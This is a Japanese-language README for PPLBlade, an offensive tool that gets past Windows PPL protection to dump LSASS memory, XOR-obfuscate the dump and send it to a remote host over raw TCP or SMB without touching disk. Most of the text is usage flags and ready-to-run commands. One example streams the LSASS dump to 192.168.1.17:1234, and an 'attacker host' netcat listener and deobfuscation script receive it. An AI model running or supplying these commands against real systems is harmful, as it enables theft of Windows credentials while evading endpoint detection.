
PPL保護をバイパスしてLSASSプロセスメモリをダンプし、ダンプファイルをXORで難読化し、RAWまたはSMBを介してリモートにディスクに書き込まずに流出させます。
保護プロセスダンパーツール。メモリダンプの難読化と、ディスクに保存せずにリモートワークステーションへ転送をサポートします。
主な機能:
本ツールで使用されるテクニックの概要はこちら: https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6
注意: PROCEXP15.SYS はコンパイル用にソースファイルに記載されています。ターゲットマシンに PPLBlade.exe と一緒に転送する必要はありません。
これはすでに PPLBlade.exe に埋め込まれています。エクスプロイトは単一の実行可能ファイルです。
モード:
ハンドルモード:
Usage of PPLBlade.exe:
-driver string
Path where the driver file will be dropped (default: current directory)
-dumpmode string
Dump mode [local|network] (default "local")
-dumpname string
Name of the dump file (default "PPLBlade.dmp")
-handle string
Method to obtain target process handle [direct|procexp] (default "direct")
-help
Prints this help message
-ip string
IP of the remote server
-key string
XOR Key for obfuscation (default "PPLBlade")
-mode string
Kill or Dump process [dump|decrypt|cleanup|dothatlsassthing] (default "dump")
-name string
Process name of target process
-network string
Method for network transfer[raw|smb] (default "raw")
-obfuscate
Obfuscate dump file
-pass string
SMB password
-pid int
PID of target process (prioritized over process name)
-port int
PORT on the remote server
-quiet
Quiet mode
-service string
Name of the service (default "PPLBlade")
-share string
share name
-user string
SMB username
Examples:
PPLBlade.exe --mode dothatlsassthing
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
PPLBlade.exe --mode decrypt --dumpname PPLBlade.dmp --key PPLBlade
PPLBlade.exe --mode cleanup
例:
PROCEXP152.sysを使用してlsassをダンプする基本のPoC:
PPLBlade.exe --mode dothatlsassthing
(注意: このコマンドはダンプファイルをXORしません。XOR機能を有効にするには、追加で --obfuscate フラグを指定してください)
難読化されたLSASSダンプをリモートの場所にアップロード:
PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234
攻撃者ホスト:
nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp
メモリダンプの復号化:
PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade